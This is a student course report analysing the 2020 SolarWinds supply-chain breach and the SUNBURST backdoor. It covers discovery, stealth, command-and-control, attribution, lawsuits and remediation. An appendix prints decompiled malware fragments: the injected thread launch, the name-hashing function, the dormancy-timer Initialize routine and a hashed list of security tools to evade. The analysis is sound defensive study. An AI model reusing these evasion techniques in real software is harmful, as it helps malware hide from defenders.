SolarWinds
MICS-204 Report 2, Summer 2024

Karl-Johan Westhoff
email kjwesthoff@berkeley.edu

UC Berkleley School of Information
MICS Course 204 Summer 2024

Summary Of The Breach

December 13, 2020 a vigilant security analyst at the security company FireEye (later Mandiant) reacted to an unauthorized phone registering on their network [1]. It was during the covid pandemic so a lot of employees were adding new 'work from home' equipment, but the analyst decided to investigate and determined that the company had been breached, someone unauthorized was logging in. After a thorough search through systems, the breach was isolated to origin in the company's 'SolarWinds Orion' network monitoring system. The SolarWinds Orion product was(is) a tool for monitoring corporate networks and endpoints [2], meaning it had high system privileges on windows networks.

It turned out that the SolarWinds company had been hacked, and a trojan had been implanted with the Orion software. The trojan had been transplanted into SolarWinds software build pipeline (it was not present in codebase), and pushed to their customers with digitally signed updates.

Sunburst is a sophisticated malware deeply integrated with its SolarWinds host, it has a small footprint[1] and hides in plain sight. Command and control functions communicate via the same ports and protocols as Orion thereby evading detection, another feature of the malware is that it patiently lies dormant for extended time on the host to evade detection through logging. The trojan gathered data on the victims and made it possible for attackers to move laterally on the victims systems and install further exploitation tools[2]. It is assumed that relatively few[3] high value targets were exploited further, the targets were government institutions defense and security companies, hereunder FireEye who discovered the breach.

[1] 3500 lines of code
[2] Cobalt strike Beacon was mentioned[3]
[3] According to SolarWinds CISO Tim Brown in [4] Less than 100

Description Of The Attack

The SolarWinds hack is a "supply chain" attack, this has a number of advantages for the attacker:

- It utilizes the trust companies have in out-sourced resources (management have a tendency to see such things as "a risk that has been mitigated by transferring it to a subcontractor")
- The attack surface and reach is much larger for the same effort (a lot more can be hit with the same hack)
- In this case, the target is an IT security software vendor, putting the attacker in a wolf in shepherds clothing situation. In hindsight security vendors are an obvious target

The SolarWinds company was presumably hacked in September 2019[5], The attackers implanted a trojan malware to be known as "SUNBURST[4]" in the company's build pipeline for the Orion software in February 2020, prior to this the attackers even tested their malicious deployment pipeline with other pieces of code[7].

FireEye (of course) shared their findings with SolarWinds who then managed the breach with legal assistance, CISA and CrowdStrike[5] etc.

SolarWinds never found any malware in their source code, the malware was implanted into the build pipeline and thereby evaded code analysis.

SUNBURST

The attackers transplanted the SUNBURST Backdoor malware into the SolarWinds.Orion.Core.BusinessLayer.dll[3]. The dll was digitally signed by SolarWinds and distributed as updates to clients systems.

[4] Microsoft named it "Solorigate" [6]
[5] The handling of the breach has become a model for how to handle devastating breaches, SolarWinds CISO Tm Brown talks about it in [8]

Malware analysis

The SolarWinds.Orion.Core.BusinessLayer.dll has been decompiled (see [9]) and analyzed. FireEye did a thorough analysis in[3] and CISA provided a detailed analysis in [8] furthermore [10] provided a walkthrough de-compiling the code using dnSpy, which the following is inspired by.

Stealth The experienced analysts from CrowdStrike found nothing in the source code that indicated malware, no re-used code etc. (.NET c# can be decompiled with variable names intact). The code had been designed to blend into the host SolarWinds.Orion.Core.BusinessLayer.dll code. Selected decompiled snippets from the code is shown in Appendix:

- Figure **??**, in line 11 a new thread is started, calling an Initialize function as a background process (line 13).
- The Initialize function, see Figure **??** has a bunch of nested if's, and does nothing until they are all true. The first if (line 5) gets the current process name, hashes it (using a custom function, see Figure **??**) and compares it to a hard coded hash. In general the code uses hashes to hide names for what it is looking for.
- The 2nd if is a timer, where the code waits a random time between 288 and 336 hours (12-14days) from installation. This is presumeably to hide from anti malware survallance

Important feature: The code lays dormant on a system for at least 12 days and until conditions are right for it to execute successfully.

Recconaissance The last 'if' in the Initialize function Figure **??** line24 is a call to a function named "Update()" The update function checks if a list[6] of defensive processes are running (eg "carbonblack"). It will then get the process id's of these and try to disable these processes [7], leaving the target vulnerable for further exploitation.

Important feature: Obfuscation by hashing values and names to avoid detection by code analyses software, disabling defensive processes.

C2/Communication With the target vulnerable, the SUNBURST malware starts to phone home with its findings. It uses a domain generation algorithm [3] and Base64 encoded URL's hidden in plain sight. The malware needs domain names to contact it's Command and Control (C2) servers for data exfiltration. The C2 domain was based on the victims geographic location and a to the victim 'local' hostname chosen.

Exfiltration With a C2 hostname and the SUNBURST malware exfiltrated target information to the Atackers C2 endpoint. The traffic was hidden and made to look like benign SolarWinds traffic. Steganography was used to hide a custom command and control protocol in XML messages also used by other processes and therefore would be allowed though the victims monitoring and firewalls. FireEye did a thorough writeup as the attack was happening[3], and showed that SUNBURST has the ability to gather information on the target, download and write files run tasks etc.

Further Exploitation The further exploited target were subjected to customized attacks using CobaltStrike[8], establishing persistence and privilege escalation on the victim. These were crafted specifically for each target based on the information gathered using SUNBURST.

Signatures/Attribution

No proof has been established as to who the SolarWinds hackers[9]" are. It is assumed to be a high resource "Nation State" actor the reasoning being:

- The relative few targets that were exploited further
-
  - The exploited targets were security, government institutions and defense.
- Effort to conceal malware code and C2 communication
- The malware's primary function is information gathering and reporting
- The code is not destructive
- The code was erased from SolarWinds build pipeline before disclosure
- No economical scope (it is not ransomware)
- Stealthy and patient (more expensive to pull off, time is money)

Impact/Legal Actions

In the Aftermath, SolarWinds and their CISO personally has been sued by the Securities and Exchange

[6] The list of process names are lowercased, hashed and compared against a list of static hashes bundles with the code[9] line 554 forwards.

[7] HKLM/SYSTEM/CurrentControlSet/services/"servicename here"/Start registry entries set to value 4 (Again, discrete coding)

[8] These used CobaltStrike BEACON as were named TEARDROP, RainDrop etc. FireEye and Microsoft[6]

[9] Microsoft again had their own name "Nobelium"

Commission[11] for public statements about its cybersecurity practices and risks were at odds with its internal assessments prior to the attack.

SolarWinds: Got the world to pay attention to supply chain attacks. Focus on how to handle large incidents. Collaboration and information sharing during incidents. Investment and focus on CyberSecurity in general

Persistence exceeding defensive logging cycles (90days) to evade code comparison. Supply Chain attacks, in "secondary pipelines" e.g. the recent attack on the Linux xz compression with malicious code sneaked into a testing module (CVE-2024-3094).

Impact and/or Legal Actions (Was the company subject to fines? How was the company affected?) CISO lawsuit Disgruntled emplyees etc. 'Beef' with Microsoft dd etc

Remediation

Remediation steps (What measures were put in place to prevent future breaches?)

– Chek for the C2 hostnames, malware need these and there is no easy way of doing it hidden for the malware – Do a check of the compiled code against the codebase to catch if anything wired has happened during build.

Conclusion

Something does not add up wrt. the presumed breach time and the features of the malware code, and the implementation in the build pipeline. The attackers would need to know the codebase with more than a de-compilation would reveal and they would also need details on the solar winds build pipeline. This would either require a longer reconnaissance period or insider knowledge..

References

[1] *FireEye CEO on how the SolarWinds hack was discovered CNN video*. `https://www.cnn.com/videos/business/2021/02/24/fireeye-ceo-solarwinds-hack.cnnbusiness`. Accessed: 2024-06-13.

[2] *Orion Platform (Web archive)*. `https://web.archive.org/web/20201214092129/https://www.solarwinds.com/orion-platform`. Accessed: 2024-06-13.

[3] *Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor google*. `https://cloud.google.com/blog/topics/threat-intelligence/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor/`. Accessed: 2024-06-13.

[4] Tim Brown. *Youtube (SUNBURST From The Inside Tim Brown, CISO of SolarWinds)*. `https://youtu.be/6gQ5oAWHMoU?si=mBBETA6P8e44MPs_`. Accessed: 2024-06-13.

[5] Sean Michael Kerner Saheed Oladimeji. *TechTarget (SolarWinds hack explained: Everything you need to know)*. `https://www.techtarget.com/whatis/feature/SolarWinds-hack-explained-Everything-you-need-to-know`. Accessed: 2024-06-13.

[6] *Microsoft Secutiry (MS Security Page)*. `https://www.microsoft.com/en-us/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop`. Accessed: 2024-06-13.

[7] Sudhakar Ramakrishna. *SolarWinds (New Findings From Our Investigation of SUNBURST)*. `https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/`. Accessed: 2024-06-13.

[8] CISA. *CISA (MAR-10318845-1.v1 - SUNBURST)*. `https://www.cisa.gov/news-events/analysis-reports/ar21-039a`. Accessed: 2024-06-21.

[9] ItayCoen. *GitHub (SunBurst$_{S}$ample$_{S}$ource)*. `https://github.com/ITAYCOHEN/SUNBURST-Cracked/blob/main/OrionImprovementBusinessLayer_modified.cs`. Accessed: 2024-06-21.

[10] cybercdh. *Youtube (SUNBURST SolarWinds Malware - Tools, Tactics and Methods to get you started with Reverse Engineering)*. `https://youtu.be/JoMwrkijTZ8?feature=shared`. Accessed: 2024-06-21.

[11] US Securities and Exchange Commission. *SEC Press Release (SEC Charges SolarWinds and Chief Information Security Officer with Fraud, Internal Control Failures)*. `https://www.sec.gov/news/press-release/2023-227`. Accessed: 2024-06-22.

Appendix

```
internal void RefreshInternal()
        {
            if (InventoryManager.log.IsDebugEnabled)
            {
                InventoryManager.log.DebugFormat("Running scheduled background backgroundInventory check on engine {0}", this.engineID);
            }
            try
            {
                if (!OrionImprovementBusinessLayer.IsAlive)
                {
                    new Thread(new ThreadStart(OrionImprovementBusinessLayer.Initialize))
                    {
                        IsBackground = true
                    }.Start();
                }
            }
            catch (Exception)
            {
            }
            if (this.backgroundInventory.IsRunning)
            {
                InventoryManager.log.Info("Skipping background backgroundInventory check, still running");
                return;
            }
            this.QueueInventoryTasksFromNodeSettings();
            this.QueueInventoryTasksFromInventorySettings();
            if (this.backgroundInventory.QueueSize > 0)
            {
                this.backgroundInventory.Start();
            }
        }
```

Figure 1: *SolarWinds.Orion.Core.BusinessLayer.RefreshInternal() Source:[9]*

```
private static ulong GetHash(string s)
        {
            ulong num = 14695981039346656037UL;
            try
            {
                foreach (byte b in Encoding.UTF8.GetBytes(s))
                {
                    num ^= (ulong)b;
                    num *= 1099511628211UL;
                }
            }
            catch
            {
            }
            return num ^ 6605813339339102567UL;
        }
```

Figure 2: *SolarWinds.Orion.Core.BusinessLayer.RefreshInternal() Source:[9]*

```
SourceCode > Initialize.cs
public static void Initialize()
{
    try
    {
        if (OrionImprovementBusinessLayer.GetHash(Process.GetCurrentProcess().ProcessName.ToLower()) == 17291806236368054941UL)
        {
            DateTime lastWriteTime = File.GetLastWriteTime(Assembly.GetExecutingAssembly().Location);
            int num = new Random().Next(288, 336);
            if (DateTime.Now.CompareTo(lastWriteTime.AddHours((double)num)) >= 0)
            {
                OrionImprovementBusinessLayer.instance = new NamedPipeServerStream(OrionImprovementBusinessLayer.appId);
                OrionImprovementBusinessLayer.ConfigManager.ReadReportStatus(out OrionImprovementBusinessLayer.status);
                if (OrionImprovementBusinessLayer.status != OrionImprovementBusinessLayer.ReportStatus.Truncate)
                {
                    OrionImprovementBusinessLayer.DelayMin(0, 0);
                    OrionImprovementBusinessLayer.domain4 = IPGlobalProperties.GetIPGlobalProperties().DomainName;
                    if (!string.IsNullOrEmpty(OrionImprovementBusinessLayer.domain4) && !OrionImprovementBusinessLayer.IsNullOrInvalidName(OrionImprovementBusinessLayer.domain4))
                    {
                        OrionImprovementBusinessLayer.DelayMin(0, 0);
                        if (OrionImprovementBusinessLayer.GetOrCreateUserID(out OrionImprovementBusinessLayer.userId))
                        {
                            OrionImprovementBusinessLayer.DelayMin(0, 0);
                            OrionImprovementBusinessLayer.ConfigManager.ReadServiceStatus(false);
                            OrionImprovementBusinessLayer.Update();
                            OrionImprovementBusinessLayer.instance.Close();
                        }
                    }
                }
            }
        }
    }
    catch (Exception)
    {
    }
}
```

Figure 3: *SolarWinds.Orion.Core.BusinessLayer.Initialize() Source:[9]*

```
private static readonly ulong[] assemblyTimeStamps = new ulong[]
{
        2597124982561782591UL     /* apimonitor-x64 (Rohitab - RE/Malware analysis) */,
        2600364143812063535UL     /* apimonitor-x86 (Rohitab - RE/Malware analysis) */,
        13464308873961738403UL    /* autopsy64 (Autopsy - Forensics) */,
        4821863173800309721UL     /* autopsy (Autopsy - Forensics) */,
        12969190449276002545UL    /* autoruns64 (Autoruns - RE/Malware analysis) */,
        3320026265773918739UL     /* autoruns (Autoruns - RE/Malware analysis) */,
        12094027092655598256UL    /* autorunsc64 (Autoruns - RE/Malware analysis) */,
        10657751674541025650UL    /* autorunsc (Autoruns - RE/Malware analysis) */,
        11913842725949116895UL    /* binaryninja (Binary Ninja - RE/Malware analysis) */,
        5449730069165757263UL     /* blacklight (Blacklight - Forensics) */,
        292198192373389586UL      /* cff explorer (NTCore Explorer Suite - RE/Malware analysis) */,
        12790084614253405985UL    /* cutter (Rizin Cutter - RE/Malware analysis) */,
        5219431737322569038UL     /* de4dot (de4dot - Forensics) */,
        15535773470978271326UL    /* debugview (DebugView - RE/Malware analysis) */,
        7810436520414958497UL     /* diskmon (DiskMon - RE/Malware analysis) */,
        13316211011159594063UL    /* dnsd (Symantec - Antivirus) */,
        13825071784440082496UL    /* dnspy (dnSpy - RE/Malware analysis) */,
        14480775929210717493UL    /* dotpeek32 (dotPeek - RE/Malware analysis) */,
        14482658293117931546UL    /* dotpeek64 (dotPeek - RE/Malware analysis) */,
        8473756179280619170UL     /* dumpcap (Wireshark - RE/Malware analysis) */,
        3778500091710709090UL     /* evidence center (Belkasoft Evidence Center - Forensics) */,
        8799118153397725683UL     /* exeinfope (Exeinfo PE - RE/Malware analysis) */,
        12027963942392743532UL    /* fakedns (fakedns (iDefense) - RE/Malware analysis) */,
        576626207276463000UL      /* fakenet (fakenet - RE/Malware analysis) */,
        7412338704062093516UL     /* ffdec (Free Flash Decompiler - RE/Malware analysis) */,
        682250828679635420UL      /* fiddler (Fiddler - RE/Malware analysis) */,
        13014156621614176974UL    /* fileinsight (McAfee - RE/Malware analysis) */,
        18150909006539876521UL    /* floss (FireEye - RE/Malware analysis) */,
        10336842116636872171UL    /* gdb (gdb - RE/Malware analysis) */,
        12785322942775634499UL    /* hiew32demo (Hiew - RE/Malware analysis) */,
        13260224381505715848UL    /* hiew32 (Hiew - RE/Malware analysis) */,
        17956969551821596225UL    /* hollows_hunter (hollows hunter - RE/Malware analysis) */,
        8709004393777297355UL     /* idaq64 (IDA - RE/Malware analysis) */,
        14256853800858727521UL    /* idaq (IDA - RE/Malware analysis) */,
        8129411991672431889UL     /* idr (InsightDR2 - RE/Malware analysis) */
```

Figure 4: *List of hashed process names in the source code Source:[9]*